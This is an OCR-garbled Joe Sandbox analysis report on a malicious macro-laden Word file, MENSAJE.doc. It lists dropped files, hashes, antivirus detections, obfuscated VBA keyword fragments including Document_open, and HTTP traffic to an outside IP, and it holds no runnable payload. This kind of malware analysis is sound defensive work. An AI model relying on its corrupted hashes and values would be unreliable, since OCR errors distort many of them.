| TR F... ={y=4{.B&0 LP.O. i 400, /C t.1.....QK.X..Users. ... B Ussiers..@.s.hell.3.2..d.LL,.-
.2.1.8.1.3....L.1.....Q.y..user.8......QK.X.Q.y*...& eeedAllbius..z 1 .Quy . Desktop.d......QK.X.Q.y*. .D.essk.to.p.@.s.hell3.2.dll,.-2

1.7.6.9....12....9R.. .MENSAJE.doc.D......Q.y.Q.¥*..8. .ceceerererrnne M.E.NN.S.AJ.E...d.O.C..c.o..lluvernnne
ser\Desktop\MENSAJE.doc."....\....\....\....\...\.D.es.k.t.o.p.\.M.E.N.S.AJ.E...d.o.C........
.7.7.1.3.1.5.-3.0.1.9.4.0.5.6.3.7.-.3.6.7.3.3.6.4.7.7.-.1.0.0.6............” ... X.......760639..........

R TO0 (RO ?2J.....C:\Users\..# \\760639\Users.u

C:\Users\luser\AppData\Roaming\Microsoft\Office\Recentlindex.dat

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files\Microsoft Office\Office 14\WINWORD.EXE

ASCII text, with CRLF line terminators

dropped

59

4.0685274819550825

false

3:M19rcowFomX19rcov:MMxay

9BEB489A077CDD735AB03D3C19C939E9
66A47FB266D52AED31E065408D1159EEC08BC3AA
84FE6C43E64A4EE18EC57F48077808C47AEB632452750B6A1B98920AC7931040

D8D933961AC4D7591D0AC7A20066EFCEADD3F122E05CC733F786A21FBOECB935A8965D26445077197C7C4B26F16COE3F491636E51606 ABES2AFF3BBE4ACG20!
E

false

[doc].. MENSAJE.LNK=0..MENSAJE.LNK=0..[doc].. MENSAJE.LNK=0..

C:\Users\user\AppData\Roaming\Microsoft\Templates\~$Normal.dotm

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files\Microsoft Office\Office 14\WINWORD.EXE

data

dropped

162

2.431160061181642

false

3:vrJlaCkWtVyokKOg5GII3GWSKG/f2+1/In:vdsCkWtw2111D9I
39EB3053A717C25AF84D576F6B2EBDD2
F6157079187E865C1BAADCC2014EF58440D449CA
CD95COEA3CEAEC724B510D6F8F43449B26DF97822F25BDA3316F5EAC3541E54A

5AA3D344F90844D83477E94EODOEOF3C96324D8C255C643D1A67FA2BBOEEBDFAF6A7447918F371844FCEDFCD6BBAAA4868FC022FDB666E62EB2D1BAB902891
C

false

C:\Users\luser\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\7PDJ5QC81VWL5221GXZU.temp

Process:
File Type:
Copyright null 2021

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

data
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C:\Users\luser\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\7PDJ5QC81VWL5221GXZU.temp

Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:

Preview:

dropped

8016

3.586698549442453

false

96:chQCsMqftMqvsgqvJCwo5z8hQCsMqftMqvsEHyqvICworvz1PYftJHyf8Iht+lUVJ:cy305z8y7Hnorvz1bf8IViu

938EBE9D3E192FE703709754C8C13AD3

669D15EA186E5265982DBD1740A8D161AE519FD9

F6DD8092D12C97BAABC1BCA05BCB811463295A013A2E756C1DFD85609E3E6536
AATEE59E375EF40A960C8F195CDA18299C9EB83412EAEF1C2C034449E6696AEEEBEE4C249CDI0ES784BCB94DAB54ECE6DCD7F023076B3CA3381727ABA373FB2

X.1....~J|v. MICROS~1..@......... M.i.cros.oft.. . .R1..wl.. Windows.<.......WJ;*. ......cccenrrn) W.i.n.d.o.w.s..
..@....Start. M.e.n.u..@.s.hell3.2.dll,.-21786...~1...Pf.Programs.f.....

LSTARTM~L. oK <o
1.3.2..d.ll,.-.2.1.7.8.2.......1.... xJu=..ACCESS~1..I........wJr.*...................B....A.c.c.e.s.s.o.ries..@.s.h.ell3.2..d.ll Wi
.................. W.i.n.d.ow.s. .P.ow.e.r.S.he.ll...v.2k......, WINDOW~2.LNK..Z.........,....*...= e WeiinudLoows .

C:\Users\user\Desktop\~$SENSAJE.doc

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:

Preview:

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:

Antivirus:

Preview:

C:\Program Files\Microsoft Office\Office 14\WINWORD.EXE

data

dropped

162

2.431160061181642

false

3:vrJlaCkWtVyokKOg5GIIBGWSKG/f2+1/In:vdsCKWtW21IID9I
39EB3053A717C25AF84D576F6B2EBDD2
F6157079187E865C1BAADCC2014EF58440D449CA
CD95COEA3CEAEC724B510D6F8F43449B26DF97822F25BDA3316F5EAC3541E54A

5AA3D344F90844D83477E94EODOEOF3C96324D8C255C643D1A67FA2BBOEEBDF4F6A7447918F371844FCEDFCD6BBAAA4868FC022FDB666E62EB2D1BAB902891
C

false

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

dropped

354648

4.290297401493491

false

3072:G82jpiC2IG7THZb7XWQmI/jz8A4diTE90Q6KF4CKAY RKcj:V2L7HN7KI/LA90QECTIYRpj
2F6D3710BC30929A6715AD41166D74EF

39EA18E56A1C596FBD7569D858 CCB525E4EE1817
2BD8450DF65CDB30DFEA00F5DAA67E578E5D890C26EE7D692E5264F38650758C

2B1BAB83437F3720FD298FEFASFD26B5500B3ED32F70F89F5758054EF2C27BC49AE028FEE15A0878F7ECBAC961B7E05BAB4E085DC1238F2BFBA9ABF77526DD!
5

true

e Antivirus: Joe Sandbox ML, Detection: 100%
e Antivirus: Metadefender, Detection: 46%, Browse
e Antivirus: ReversingLabs, Detection: 79%

MZ.ooooiiiiiieii, @ oo 1..L.IThis program cannot be run in DOS mode....$....... PE.L..F. . 1.2.@. e P P
) ) text...6......8. s

Static File Info

General

Copyright null 2021
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https://www.metadefender.com/#!/results/file/bzIxMDEyNUNWODR4UzVGX1dIOG56Yjd3TTM/regular/analysis

General

File type:

Entropy (8bit):
TriD:

File name:
File size:
MDS5:
SHA1L:
SHA256:

SHA512:

SSDEEP:

File Content Preview:

File Icon

Icon Hash:

Static OLE Info

General
Document Type:

Number of OLE Files:

OLE File "MENSAJE.doc"

Indicators
Has Summary Info:
Application Name:

Encrypted Document:

Contains Word Document Stream:
Contains Workbook/Book Stream:
Contains PowerPoint Document Stream:
Contains Visio Document Stream:

Contains ObjectPool Stream:

Flash Objects Count:

Contains VBA Macros:

Summary
Code Page:
Title:
Subject:

Author:
Keywords:
Comments:
Template:

Last Saved By:
Revion Number:
Total Edit Time:

Create Time:

Copyright null 2021

edeea2aaadbdbdad

OLE

True
Microsoft Office Word
False
True
False
False

False

True

1252

Composite Document File V2 Document, Little Endian,
Os: Windows, Version 6.2, Code page: 1252, Subject:
Outdoors, Outdoors & Shoes Personal Loan Account
Unbranded one-to-one circuit Generic Fresh Tuna
Money Market Account Compatible Roads, Author: Fe
derico Briones, Template: Normal.dotm, Revision Nu
mber: 1, Name of Creating Application: Microsoft Office
Word, Create Time/Date: Fri Jan 22 19:01:00 2021,
Last Saved Time/Date: Fri Jan 22 19:01:00 2021,
Number of Pages: 1, Number of Words: 3199, Number
of Characters: 18238, Security: 8

6.737500124615803

e Microsoft Word document (32009/1) 79.99%
e Generic OLE2 / Multistream Compound File
(8008/1) 20.01%

MENSAJE.doc

170496

cca3520e9a551b59637a6f7cecf4b39f
chc4f477ab784d5b13f0f1bae27cd89e0b2ac10c

0965ec391a19f82dbbcc65557513a1b5a98d0fbeclc3a7f
66aa6e32e667fb5a0

7a6603f1d4f29137¢30387d6a0e09d58c04e1bd27064e5!
8f922ed33ba064efa813da97009121e768fafdb35704908
36df9efbd7dd98149f1cedbcfeb75b56f1

3072:0wT40qdduoxt7IrTderrXyQBscOvWJIVidlrwVLYbd
YPeFmfG5/+vG1Pt4kom3N7:0wT40qdduoxt7IWPIIU

Outdoors, Outdoors & Shoes Personal Loan Account Unbranded one-to-one circuit Generic
Fresh Tuna Money Market Account Compatible Roads

Federico Briones

Normal.dotm

1
0
2021-01-22 19:01:00
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Summary

Last Saved Time:
Number of Pages:
Number of Words:
Number of Characters:
Creating Application:

Security:

Document Summary
Document Code Page:
Number of Lines:

Number of Paragraphs:
Thumbnail Scaling Desired:
Company:

Contains Dirty Links:
Shared Document:
Changed Hyperlinks:

Application Version:

Streams with VBA

VBA File Name: Nre_13r__vimeabhr2, Stream Size: 1121

General
Stream Path:
VBA File Name:
Stream Size:

Data ASCII:

Data Raw:

VBA Code Keywords

Keyword

False

Private

Attribute
VB_Creatable
VB_Name
Document_open()
VB_Predeclaredld
VB_GlobalNameSpace
VB_Base
VB_Customizable
VB_TemplateDerived
VB_Exposed

VBA Code

VBA File Name: Twwejh034u32ebq, Stream Size: 701

General
Stream Path:
VBA File Name:
Stream Size:

Data ASCII:

Data Raw:

Copyright null 2021

2021-01-22 19:01:00
1

3199

18238

Microsoft Office Word
8

-535
151
42

False

False
False
False

917504

Macros/VBA/Nre_13r__vlmeabhr2
Nre_13r__vimeabhr2
1121

01 16 01 00 00 fO 00 00 00 de 02 00 00 d4 00 00 00 da 01 00 00 ff ff ff ff €5 02 00 00 75 03 00
00 00 00 00 00 01 00 00 00 2c 1d 9a 6f 00 00 ff ff a3 00 00 00 88 00 00 00 b6 00 ff ff 01 01 00
00 00 00 ff ff ff ff 00 00 00 00 ff ff f ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Macros/VBA/Twwejh034u32ebq
Twwejh034u32ebq
701

01 16 01 00 00 fO 00 00 00 1c 02 00 00 d4 00 00 00 88 01 00 00 ff ff f ff 23 02 00 00 83 02 00
00 00 00 00 00 01 00 00 00 2c 1d 2a b1 00 00 ff ff 03 00 00 00 00 00 00 00 b6 00 ff ff 01 01
00 00 00 00 ff ff ff ff 00 00 00 00 ff f ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00
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VBA Code Keywords

Keyword
Attribute
VB_Name

VBA Code

VBA File Name: Uved9u320lyen, Stream Size: 25167

General

Stream Path: Macros/VBA/Uved9u320lyen

VBA File Name: Uved9u320lyen

Stream Size: 25167

Data ASCII:

Data Raw: 01 16 01 00 00 fO 00 00 00 6¢ 10 00 00 d4 00 00 00 b8 01 00 00 ff ff ff ff 74 10 00 00 e0 48 00

00 00 00 00 00 01 00 00 00 2c 1d 4e 92 00 00 ff ff 03 00 00 00 00 00 00 00 b6 00 ff ff 01 01
00 00 00 00 ff ff ff ff 00 00 00 00 ff f ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00

VBA Code Keywords

Keyword

izsoCGvJ

paWrAs
(kVgKGDIMx
fDCQH

Until

xhCZAq

yXAkDJC

dAZzFm

XzAMGG
PmwneAAr.Range
ZQoRFxD.Range
fLrHD,
DjGAF(ruGLP)
gQelGU
YOGNBFEJJ(JgRPV)
yteelh()
UBound(FaeuQIDH)
dmUsACgD

tuwnUll

yoTKwqlsG
onDpQWW()
UBound(ifLwTt)
RgCBRI
UBound(VHywBeoD)
foEzZCEG

(mUryG
KLDUKJGJS
1ImiCJ:
xluBj(oofPFJE)
MidB$(tYjkQO,
njcnja

puUQIDD

sHgJaG,
BwbBAFi(foEzZCEG)
DKDVE()

(paWrAs
YOGNBFEJJ
SDIGFGB

VoGiD

UBound(sRKFiF)
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Keyword

FarLoFz
SXiaV
HPPUdFCC:
beDixHFI
KTfCJ,
gRutBJw
mhoxIuDG:
OkhnVIkx
zOxiWllb
emKogsJt,
CxCcsO,
kvQijif,
rnekAzHd
XUDGCFC,
tYjkQO
blIhNCID
fQjtHB
KBIiNIsVg:
AFprvHL(YuXIKu)
HPPUdFCC
FCSKHTIC
PgRZHO()
UODAfECCP.Range
bxIKBdJEV
sswliGoWgh.Range
MidB$(yteelh,
kkPsepvID,
eJQhi

0ofPFJE
bxIKBdJEV:
EJmBDY
XDVjIOBFP
CXFIxhClJ,
dxmcNDC
qTPUJB
GHdxC,
cDhBGGFR
VHywBeoD
(iezxKGCjf
PSrcCvseO
bHcuF

xluBj()

OdghFz
IXzyVV
moLoGCFdJ(fLrHD)
JqRPV,
CazGpHEDF.Range
(IgRPV
YOGNBFEJJ()
YAMzFD:
ruGLP
dIEZTDWJ.Range
QjrbGoAT
muUryG,
KiUcJFSiw
(bPtpAAZ
WFlaEdEJF
ruGLP,
YAMzFD
IFLWTt(IQtMAU)
SJgnG

wjnsc

BwbBAFi()
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Keyword

fagdu

Qidijl:
MidB$(onDpQWW,
Qidjl

ONAXGHF
DjGAF
iezxKGCjf
(XUDGCFC
nnjasd,

Resume
IXzyVV,
ebgcAE
onDpQWW(VmouN)
(KTfCJ
oLCGmAICG
yESSyEi.Range
dGuTI
EKKIJE.Range
nWxKMVOBG
EKKIJE
xDVjIOBFP:
BzqWhVTIQ

VHywBeoD(dkffwCHGW)

KBIiNIsVg
PmwneAAr
UODIfECCP
iScJlw

aMdIG

hOyBkqg
MidB$(PSrcCvsEO,
cDhBGGFR:
SJgnG,

mEsdJFB

jgLChB,
zUuWGbKHy
vQDCUDCB
MidB$(BWbBAFi,
LzBwHH:
MidB$(DKDVE,
gRLRHGC,

1ImiCJ
UBound(BwbBAFi)
BzqWhVTIQ,
UBound(PVoxdBG)
fLrHD

EQpkJ

gRutBJw,
MidB$(sRKFiF,
BukCBE

evivHCq
JWFIPMBdA
PVoxdBG(dxmcNDC)
(IQtMAU

afoME

YuXIKu

QKCIFj
MidB$(ZrdKv,
sZNckH
UBound(moLoGCFdJ)
fufvMBxFB.Range
WyNRtEF
mhoxluDG
(emKogsJt
QKCIFj()
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Keyword

pXYQI

hpETWA
jOsZcJgCh
kkRMKYKwF:
yteelh(bPtpAAZ)
UBound(xIuBj)
IckOJI
CXFIxhCIJ
emKogsJt
GHdxC
bLGZEYcz,
kVgKGDIMX,
szzfJDSJ
(XzAMGG
PgRZHO

(fagdu

VHaeE
VB_Name
(dbkQgsAA
FYWwFXnmD
iXqMmIB
QxJDILDHH
MidB$(YOGNBFEJJ,
(dkffwWCHGW
WUTQAet
SXiaV,

iDdzAA
limvmeCz
PLghDBG
GTerTpDH
KWITHAH,
EaHQHNPDJ
mUibp.Range
zAyhlWe:
PgRZHO(fagdu)
mwFcDF:
Mid(Application.Name,
VmouN
tYjkQO(CxCcsO)
UBound(YOGNBFEJJ)
MidB$(PgRZHO,
ShJQC

iNtVAIDc
dkffwCHGW,
dkffwCHGW
(jgLChB
VXGInFA()
jhPGFGFEE
RvUUQGH
PVoxdBG()
DmMEHG
SRKFiF(o0NAXGHF)
rnekAzHd:
1QtMAU
SEDgPAAd
MidB$(ifLwTt,
aMdIG.Range
VoGiD.Range
UBound(AFprvHL)
oNAXGHF,
MidB$(DjGAF,
DgoBQDE
dmUsACgD,
PSrcCvsEO()
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Keyword
VHywBeoD()
yESSYEi
DKDVE(dbkQgsAA)
OeKxDTJnB
UBound(VXGInFA)
moLoGCFdJ()
sRKFiF
HbTERWfG
dxmcNDC,
UBound(tYjkQO)
(IXzyvVv

eUaictZE
tJnnSICuC
dIEZTDWJ
"sadsaccc”
"sasdsacc”
(gRutBJw

paWrAs,
StGIEBVBr

DObJX

(QfiVIAehH

(kvOijif
VXGInFA(emKogsJt)
gRLRHGC
UBound(DkDVE)
NmDEB
UBound(PSrcCvsEO)
(EJmBDY
PVoxdBG
SJINAGABP
(ruGLP

ifLwTt()
(BzqWhVTIQ
UBound(QkCIFj)
FYWwFXnmD.Range
ZEMXFGC
zAyhlwe

zCOIH

yJLUe

fAEnDfCC
UBound(onDpQWW)
TORFFDHP
mUibp
sswliGoWgh

ELodJ
MidB$(FaeuQIDH,
Word.Paragraph
iezxKGCjf,

jgLChB

(CxCcsO
FaeuQIDH()
DaucBFEHV
bLGZEYcz
pcKfwB

LvygECNI

KTfCJ
DaucBFEHV.Range
RLhdX

ifLwTt

zQEVCNI

WjUEXtp

Content

tuwnUll,

BukCBE(SJgnG)
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Keyword
UBound(DjGAF)
kkRMKYKwF
MidB$(AFprvHL,
BwbBAFi

kvOijif
CmgIGAD
foEzCEG,
MidB$(xIuBj,
(oofPFJIE
mwFcDF
ehgssJrG
PSrcCvsEO(bLGZEYcz)
RnNWIgm
sHgJaG
JfHHHICG
UBound(yteelh)
0ofPFJE,
IQtMAU,
VIKVGtHY
hUYQA,
VXGInFA
(kwiITHAH
kkPsepvID
onDpQWW
oLvRsDgW
JfHHHICG:
SRKFiF()
gNPBGhAIB
IBVrh
dbkQgsAA
MidB$(BUKCBE,
FzIdATHYG
woJbJABu
AFprvHL()
zZMbQG
vQDCUDCB:
MidB$(moLoGCFdJ,
FaeuQIDH(sHgJaG)
FaeuQIDH
IPkcE

(SJgnG
EJmBDY,
oYpISX:
kUGXaz
CxCcsO
UBound(PgRZHO)
QxJDILDHH:
bSozuu
MidB$(VXGInFA,
JqQRPV
(CXFIxhCIJ
Len(skuwd))
(oONAXGHF
ZQORFxD
(foEzCEG
NmDEB:
(GHdxC
ZrdKv(SXiaV)
dbkQgsAA,
yteelh

bPtpAAz
sCAOEB
QfiviAehH
EaHQHNPDJ:

Copyright null 2021 Page 28 of 53



Keyword
SZNckH:

(SXiav
hOPLcHJ.Range
(dxmcNDC
(fLrHD
gQelGU.Range
UBound(ZrdKv)
HbTERWfG.Range
ZrdKv()
SDQTYAIh
nlibdEKC

bNIgl
VTAHFoBxb
(YuXIKu
XUDGCFC
CazGpHEDF
MidB$(QkCIFj,
kVgKGDIMx
zsUxsFG
(bLGZEYcz
oYpISX
BukCBE()
Mid(skuwd,
DObJX.Range
KXxJIEXq
KhPdASzO
nyozdGEMG
QKCIFj(kwlTHAH)
(VmouN
UBound(BukCBE)
AFprvHL

hUYQA
MidB$(VHywBeoD,
zZEMxFGC.Range
Error

DjGAF()
WhXxZBCFx
HrGdJP
pEAIGKgHg
Attribute
SuvbRJTD
CWWHXGG
yJLUe.Range
fufvMBxFB
(kkPsepvID
kwlTHAH
(dmUsACgD
VmouN,
LzBwHH
CNURGFVBp
hBXXCY
bSozuu.Range
(tuwnull
hOPLcHJ
Function
MidB$(PVoxdBG,
xluBj

YuXIKu,
bPtpAAz,
tYjkQO()

ZrdKv
QfiVIAehH,
fagdu,
(JRLRHGC
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Keyword
moLoGCFdJ
YMyJEGOO
YwwvF
XgCNAOJ
DKDVE
nnjasd
mUryG
XzAMGG,
ArvQXC
rlkmCk
ighgCC
(sHgJaG
BMCxVes
skuwd

(hUYgA

VBA Code

Streams

Stream Path: \xX1CompObj, File Type: data, Stream Size: 146

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

\x1CompObj
data

146
4.00187355764
False

........................... F........MSWordDoc.....Word.Document
.8..9.9@..... > :.C.<.5.=.B. .M.i.c.r.o.s.o.f.t. .W.o.r.d. .9.7.

01 00 fe ff 03 0a 00 00 ff ff ff ff 06 09 02 00 00 00 00 00 cO 00 00 00 00 00 00 46 00 00 00 00
0a 00 00 00 4d 53 57 6f 72 64 44 6f 63 00 10 00 00 00 57 6f 72 64 2e 44 6f 63 75 6d 65 6e 74
2e 38 00 f4 39 b2 71 40 00 00 00 14 04 3e 04 3a 04 43 04 3c 04 35 04 3d 04 42 04 20 00 4d
00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 20 00 57 00 6f 00 72 00 64 00 20 00 39 00
37 00 2d 00

Stream Path: \x5DocumentSummarylnformation, File Type: data, Stream Size: 4096

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Stream Path: \xX5Summarylinformation, File Type: data, Stream Size: 552

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Copyright null 2021

\x5DocumentSummarylnformation
data

4096

0.279952994103

False

fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 d5
cd d5 9c¢ 2e 1b 10 93 97 08 00 2b 2c f9 ae 30 00 00 00 f4 00 00 00 Oc 00 00 00 01 00 00 00
68 00 00 00 Of 00 00 00 70 00 00 00 05 00 00 00 7c 00 00 00 06 00 00 00 84 00 00 00 11 00
00 00 8¢ 00 00 00 17 00 00 00 94 00 00 00 Ob 00 00 00 9¢ 00 00 00 10 00 00 00 a4 00 00 00
13 00 00 00 ac 00 00 00

\x5SummaryInformation
data

552

4.11686047225

False
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General

Data Raw:

Stream Path: 1Table, File Type: data, Stream Size: 6847

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 €0 85 9f
f2 f9 4f 68 10 ab 91 08 00 2b 27 b3 d9 30 00 00 00 f8 01 00 00 11 00 00 00 01 00 00 00 90 00
00 00 02 00 00 00 98 00 00 00 03 00 00 00 68 01 00 00 04 00 00 00 4c 01 00 00 05 00 00 00

a4 00 00 00 06 00 00 00 b0 00 00 00 07 00 00 00 bc 00 00 00 08 00 00 00 d0 00 00 00 09 00

00 00 dc 00 00 00

1Table

data

6847
6.03173557377

True

.6...6...6...6...6...6...6...6...6...6...

6a 04 11 00 12 00 01 00 Ob 01 0f 00 07 00 03 00 03 00 03 00 00 00 04 00 08 00 00 00 98 00
00 00 9e 00 00 00 9e 00 00 00 9e 00 00 00 9e 00 00 00 9e 00 00 00 9e 00 00 00 9e 00 00 00
9e 00 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06
00 00 36 06 00 00 36 06 00 00 76 02 00 00 76 02 00 00 76 02 00 00 76 02 00 00 76 02 00 00
76 02 00 00 76 02 00 00

Stream Path: Macros/PROJECT, File Type: ASCII text, with CRLF line terminators, Stream Size: 516

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Stream Path: Macros/PROJECTwm, File Type: data, Stream Size: 149

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Stream Path: Macros/VBA/_VBA_PROJECT, File Type: data, Stream Size: 6003

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Copyright null 2021

Macros/PROJECT

ASCII text, with CRLF line terminators
516

5.47836240591

True

ID="{4A0530A6-DA47-4FDA-92B3-41B1D509BBD4}"..Docum
ent=Nre_13r__vlimeabhr2/&H00000000..Module=Twwejh034
u32ebq..Module=Uved9u320lyen..ExeName32="Uff6sj72nx3
98f7vhu"..Name="DD"..HelpContextID="0"..VersionCompatib
1e32="393222000"..CMG="0200E7626A666A666A666A66"

49 44 3d 22 7b 34 41 30 35 33 30 41 36 2d 44 41 34 37 2d 34 46 44 41 2d 39 32 42 33 2d 34
31423144 353039424244 347d 22 0d Oa 44 6f 63 75 6d 65 6e 74 3d 4e 72 65 5f 31 33
72 5f5f 76 31 6d 65 61 62 68 72 32 2f 26 48 30 30 30 30 30 30 30 30 0d Oa 4d 6f 64 75 6¢ 65
3d 54 77 77 65 6a 68 30 33 34 75 33 32 65 62 71 0d Oa 4d 6f 64 75 6¢ 65 3d 55 76 65 64 39
7533 32 30 6¢ 79 65

Macros/PROJECTwm
data

149

3.67538593101

False
Nre_13r__vimeabhr2.N.r.e._.1.3.r._._.v.1l.m.e.a.b.h.r.2...T
wwejh034u32ebq.T.w.w.e.j.h.0.3.4.u.3.2.e.b.q...Uved9u320

lyen.U.v.e.d.9.u.3.2.0.l.y.e.n.....

4e 72 65 5f 31 33 72 5f 5f 76 31 6d 65 61 62 68 72 32 00 4e 00 72 00 65 00 5f 00 31 00 33 00
72 00 5f 00 5f 00 76 00 31 00 6d 00 65 00 61 00 62 00 68 00 72 00 32 00 00 00 54 77 77 65
6a 68 30 33 34 75 33 32 65 62 71 00 54 00 77 00 77 00 65 00 6a 00 68 00 30 00 33 00 34 00
7500 33 003200 65 00 62 00 71 00 00 00 55 76 65 64 39 75 33 32 30 6¢ 79 65 6e 00 55 00
76 00 65 00 64 00 39

Macros/VBA/_VBA_PROJECT
data

6003

5.68411443527

False

A *\.G.{.0.0.0.2.0.4.E.F.-.0.0.0.
0.-.0.0.0.0.-.C.0.0.0.-.0.0.0.0.0.0.0.0.0.0.4.6.}.#.4...1.#.9.
#.C...\.P.R.0O.G.R.A.~.2.\.C.O.M.M.O.N.~.1.\.M.I.C.R.O.S.
~.1.\.V.B.A.\.V.B.A.7.\.V.B.E.7...D.L.L.#.V.i.s.u.a.l. .B.a.s

i.c. L F.
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General

Data Raw:

cc 61 97 00 00 01 00 ff 09 04 00 00 09 04 00 00 e4 04 01 00 00 00 00 00 00 00 00 00 01 00
05 00 02 00 fa 00 2a 00 5¢ 00 47 00 7b 00 30 00 30 00 30 00 32 00 30 00 34 00 45 00 46 00
2d 00 30 00 30 00 30 00 30 00 2d 00 30 00 30 00 30 00 30 00 2d 00 43 00 30 00 30 00 30 00
2d 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 34 00 36 00 7d 00 23 00
34 00 2e 00 31 00 23 00

Stream Path: Macros/VBA/dir, File Type: Tower32/800 68020 not stripped - version 18435, Stream Size: 676

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Stream Path: WordDocument, File Type: data, Stream Size: 112766

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Stream Path: word, File Type: data, Stream Size: 1122

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Network Behavior

Network Port Distribution

Copyright null 2021

Macros/VBA/dir

Tower32/800 68020 not stripped - version 18435
676

6.39115166959

True

............ O*.....p..H.."..d.....D2.2.4.@.....Z=....b.........<..

a...%.J<..... rst dole>.2s..t.d.o.l..e...h.%"...*\G{0002°0430

- Cl 0046}.#2.0#0#C.:\Window.s\SysWOW.64\.e2.tl.

b#OLE Au.tomation.. ....Norma.l.EN.Cr.m..a.F.. ...... *\WC....
.a...lOffi

01 a0 b2 80 01 00 04 00 00 00 01 00 30 2a 02 02 90 09 00 70 14 06 48 03 00 22 02 00 64 e4
04 0402 1c 44 32 a2 32 00 34 00 00 40 02 14 06 02 14 5a 3d 02 Oa 07 02 62 01 14 08 06 12
09 01 02 12 3c ff fa 61 06 00 Oc 25 02 4a 3c 02 Oa 16 00 01 72 73 74 20 64 6f 6¢ 65 3e 02 32
7300 00 74 00 64 00 6f 00 6¢ 00 a0 65 00 0d 00 68 00 25 5e 00 03 00 2a 5¢ 47 7b 30 30 30
32603034 33302d

WordDocument
data

112766
7.32176415337

True

ec a5 ¢1 00 5f cO 09 04 00 00 f0 12 bf 00 00 00 00 00 00 10 00 00 00 00 00 08 00 00 bd 5b 00
00 Oe 00 62 6a 62 6a 00 15 00 15 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 19
04 16 00 7e b8 01 00 62 7f 00 00 62 7f 00 00 bd 53 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff Of 00 00 00 00 00 00 00 00 00 ff ff Of
00 00 00 00 00

word
data
1122
7.81126798031

False

.$..7{..0...:.L6dMfd4..Z..8...M../{yCK).G..T..... ...... q:L_B
1] 0008 A 30 TShe oz ,o...T5..2..y. HG....... z
,Y.a.W.M.g..... 3.j.*cJ.4B.!T.QBkJ.<G.>..... 6.i/..... M/..0-.)6
T8LSA...._...@...... S Z X.9 .5 [.IN....... $b#x.T..

10 ea 24 95 1f 37 7b 80 e5 4f 18 ac fd 3a ac 4c 36 64 4d 66 64 34 d7 b2 5a d2 d7 38 fb b4 d2
4d ad 07 2f 7b 79 43 4b 29 be 47 ac f8 54 be b8 17 0d ef 20 9f c9 bb b2 dc 13 71 3a 4c 5f 42

84 31 7c ca fe f6 Ob 30 d3 f3 19 24 a8 1c 87 de 5e 9b 1a c0 2a Ob 94 33 83 f1 54 53 68 07 08
ffc9 7b ¢3 7a 7c 89 bf c2 Oc dd 1c 2c 85 a5 13 95 54 35 13 9e 32 9e 18 79 9d 48 47 0d al b7
c8cbheala
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Total Packets: 34

® 53 (DNS)

® 80 (HTTP)
TCP Packets
Timestamp Source Port Dest Port Source IP Dest IP
Jan 25, 2021 11:20:43.706973076 CET 49165 80 192.168.2.22 217.144.106.11
Jan 25, 2021 11:20:43.852220058 CET 80 49165 217.144.106.11 192.168.2.22
Jan 25, 2021 11:20:43.852329016 CET 49165 80 192.168.2.22 217.144.106.11
Jan 25, 2021 11:20:43.855108976 CET 49165 80 192.168.2.22 217.144.106.11
Jan 25, 2021 11:20:44.002566099 CET 80 49165 217.144.106.11 192.168.2.22
Jan 25, 2021 11:20:44.005980968 CET 80 49165 217.144.106.11 192.168.2.22
Jan 25, 2021 11:20:44.006011009 CET 80 49165 217.144.106.11 192.168.2.22
Jan 25, 2021 11:20:44.006023884 CET 80 49165 217.144.106.11 192.168.2.22
